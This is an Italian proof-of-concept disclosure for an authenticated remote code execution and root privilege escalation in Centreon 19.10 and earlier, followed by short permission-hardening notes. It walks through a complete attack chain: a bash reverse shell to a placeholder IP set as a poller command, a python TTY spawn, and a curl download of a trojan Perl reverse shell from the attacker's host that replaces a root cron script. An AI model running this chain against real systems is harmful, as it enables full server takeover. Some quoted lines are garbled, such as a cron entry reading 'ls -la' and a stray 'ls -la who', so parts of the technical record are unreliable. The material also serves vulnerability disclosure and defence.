
Centreon =<19.10 RCE autenticata
Prova di Concetto
Scoperto da:
SpengeSec (Guylian Dw)
TheCyberGeek (Matthew B)
Esecuzione di codice remoto autenticata:
Iniziamo accedendo come utente Admin al pannello web di Centreon.
Dopo aver effettuato l'accesso, navighiamo fino a Configuration > Commands > Miscellaneous
Procedere cliccando su Add come mostrato nell'immagine qui sotto.
Ora creiamo una reverse shell bash come nostro comando Miscellaneous
#!/bin/bash
bash -i >& /dev/tcp/{IP}/{PORT} 0>&1
E cliccare su Save
Ora navighiamo fino a Configuration > Pollers e procediamo cliccando sul poller Central corrente
Questo dà accesso al menu Modify a poller Configuration
Qui possiamo scorrere verso il basso e impostare un Post-restart command
Procedere selezionando la reverse shell che abbiamo creato in precedenza e cliccare sul pulsante Save
Possiamo ora procedere avviando il listener Netcat sulla nostra macchina locale
Infine clicchiamo sul pulsante Export configuration nel menu Configuration > Pollers
Selezionare il poller Central nella casella a discesa Pollers
Deselezionare le caselle Generate Configuration Files e Run monitoring engine debug (-v)
Selezionare le caselle Restart Monitoring Engine e Post generation command
Selezionare Restart nella casella a discesa Method
Cliccando su Export, il Poller si riavvierà e quindi eseguirà il Post-Restart Command che abbiamo configurato in precedenza Questo è il momento in cui il nostro listener reverse shell riceverà una connessione
Esecuzione di codice remoto autenticata riuscita!
(Questa era la descrizione per CVE-2019-19699)
Da qui in poi passiamo all'ottenimento di Root
Utilizzeremo CVE-2019-16406 trovata da TheCyberGeek per compromettere completamente il server Centreon =< 19.10
Iniziamo generando una shell TTY nel nostro terminale reverse shell corrente
python -c 'import pty; pty.spawn("/bin/sh")'
Ora diamo un'occhiata a quali attività cron esistono eseguendo cat /etc/cron.d/*
Ora vediamo che centreon_autodisc.pl è un'attività Cron
(Era impostato da 30 22 * * * root a * * * * * root per scopi dimostrativi)
Questo viene eseguito come Root, sostituiamo il centreon_autodisco.pl con una reverse shell Perl
La shell Perl che userò può essere scaricata qui
Scarica la reverse shell e modifica l'indirizzo IP e la porta con i tuoi come spiegato nella pagina web
Esegui un mv per rinominare il file perl-reverse-shell.pl in centreon_autodisco.pl localmente
Procediamo e avviamo un SimpleHTTPServer locale su una porta a scelta
In questo modo, possiamo curl http://{local_ip}:{port}/centreon_autodisco.pl -o /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl per sostituire l'esistente centreon_autodisco.pl con la nostra reverse shell Perl trojan
Ora che il file è stato sostituito, non resta che avviare un listener Netcat sulla porta che abbiamo configurato in precedenza e riceveremo una connessione dal server come utente Root!
Accesso di root al sistema riuscito!
Passiamo ora alle note su come pensiamo che l'escalation dei privilegi dovrebbe essere mitigata!
Impostazioni attuali in 19.10:
#####################################
# Centreon Auto Discovery
#
30 22 * * * root ls -la --config='/etc/centreon/conf.pm' --config-extra='/etc/centreon/centreon_autodisco.pm' --severity=error >> /var/log/centreon/centreon_auto_discovery.log 2>&1
* * * * * centreon /opt/rh/rh-php72/root/usr/bin/php /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php >> /var/log/centreon/centreon_host_discovery.log 2>&1
File Permissions:
-rwxr-xr-x 1 apache apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
-rw-r--r-- 1 apache apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
-rwsrwxr-x 1 root root 7240 Aug 11 2017 /usr/lib/centreon/plugins/cwrapper_perl
Mitigazione per /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
ls -la who
-rwxr-xr-x 1 root apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
Come puoi vedere, ora è di proprietà di Root, il gruppo apache può solo leggere ed eseguirlo, centreon può solo eseguirlo, quindi non influisce sulla funzionalità.
Esempio:
bash-4.2$ whoami
apache